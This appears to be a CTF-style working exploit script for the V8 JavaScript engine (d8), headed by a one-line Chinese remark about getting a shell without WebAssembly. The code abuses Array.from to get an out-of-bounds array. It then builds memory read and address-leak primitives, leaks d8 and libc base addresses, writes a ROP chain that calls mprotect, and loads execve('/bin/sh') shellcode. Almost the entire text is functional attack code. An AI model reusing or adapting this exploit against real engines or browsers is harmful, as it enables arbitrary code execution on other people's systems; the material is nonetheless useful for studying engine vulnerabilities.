第一次尝试最后不采用wasm写shellcode来getshell
class Memory{constructor(){this.buf = new ArrayBuffer(8);this.f64 = new Float64Array(this.buf);this.u32 = new Uint32Array(this.buf);this.bytes = new Uint8Array(this.buf);}d2u(val){ //double ==> Uint64this.f64[0] = val;let tmp = Array.from(this.u32);return tmp[1] * 0x100000000 + tmp[0];}u2d(val){ //Uint64 ==> doublelet tmp = [];tmp[0] = parseInt(val % 0x100000000);tmp[1] = parseInt((val - tmp[0]) / 0x100000000);this.u32.set(tmp);return this.f64[0];}
}
function hex(i)
{return i.toString(16).padStart(16, "0");
}
var mem = new Memory();
var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => ({counter : 0,next() {let result = 1.1;this.counter++;if (this.counter > maxSize) {oobArray.length = 1;for (let i = 0;i < 100;i++) {bufs.push(new ArrayBuffer(0x1234));let obj = {'a': 0x4321, 'b': 0x9999};objs.push(obj);}return {done: true};} else {return {value: result, done: false};}}}
)});var buf_offset = 0;
for(let i = 0; i < maxSize; i++){let val = mem.d2u(oobArray[i]);if(val === 0x123400000000){console.log("buf_offset: " + i.toString());buf_offset = i;oobArray[i] = mem.u2d(0x121200000000); oobArray[i + 3] = mem.u2d(0x1212); break;}
}var obj_offset = 0
for(let i = 0; i < maxSize; i++){let val = mem.d2u(oobArray[i]);if(val === 0x432100000000){console.log("obj_offset: " + i.toString());obj_offset = i;oobArray[i] = mem.u2d(0x567800000000); break;}
}var buf_idx = 0;
for(let i = 0; i < bufs.length; i++){let val = bufs[i].byteLength;if(val === 0x1212){ console.log("found controllable buf at idx " + i.toString());controllable_buf_idx = i;break;}
}var obj_idx = 0;
for(let i = 0; i < objs.length; i++){let val = objs[i].a;if(val === 0x5678){ console.log("found controllable obj at idx " + i.toString());controllable_obj_idx = i;break;}
}
function addressof(obj)
{objs[obj_idx].a=obj;return mem.d2u(oobArray[obj_offset])-1;
}
function read64(address)
{oobArray[buf_offset+1]=mem.u2d(address);oobArray[buf_offset+2]=mem.u2d(address);let tmp=new Float64Array(bufs[buf_idx],0,0x10);return mem.d2u(tmp[0]);
}
function writerop(address,ropchain)
{oobArray[buf_offset+1]=mem.u2d(address);oobArray[buf_offset+2]=mem.u2d(0);var adv=new DataView(bufs[buf_idx]);for(let i=0;i<ropchain.length;i++){let tmp = ropchain[i];let tmp_l=(tmp&-1)>>>0;let tmp_h=((tmp / 2 ** 32) & -1)>>>0;adv.setUint32(8*i,tmp_l,true);adv.setUint32(8*i+4,tmp_h,true);}
}
function leak_d8base(obj_addr)
{var map_r=read64(obj_addr)-1;console.log("[*] leak map_r: 0x"+hex(map_r));var constructor_r=read64(map_r+0x20)-1;console.log("[*] leak constructor_r: 0x"+hex(constructor_r));var code=read64(constructor_r+0x30)-1;console.log("[*] leak code: 0x"+hex(code));var d8base=read64(code+0x162);console.log("[*] leak d8base: 0x"+hex(d8base));return d8base-0x2ece70;
}
var target=[1,2,3,4];
var d8base=leak_d8base(addressof(target));
console.log("[*] leak d8base: 0x"+hex(d8base));
free_got=d8base+0xb9b580;
libcbase=read64(free_got)-0x9a6d0;
console.log("[*] leak libcbase: 0x"+hex(libcbase));
ret_addr=read64(libcbase+0x3cc138)-0x110;
console.log("[*] leak ret_addr: 0x"+hex(ret_addr));
var rdi_ret=libcbase+0x0000000000023b6a;
var rsi_ret=libcbase+0x000000000002601f;
var rdx_ret=libcbase+0x0000000000119431;
var mprotect=libcbase+0x118bc0;
let sc = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let shellcode = new Uint8Array(100);
let shell_addr = read64(addressof(shellcode) + 0x68)+0x10;console.log("shell_addr: 0x" + shell_addr.toString(16));
let ropchain = [rdi_ret,parseInt(shell_addr / 0x1000) * 0x1000,rsi_ret,4096,rdx_ret,7,0,mprotect,shell_addr
];
writerop(ret_addr,ropchain);
for(let i = 0; i < sc.length; i++){shellcode[i] = sc[i];
}
//%DebugPrint(sd);
//%SystemBreak();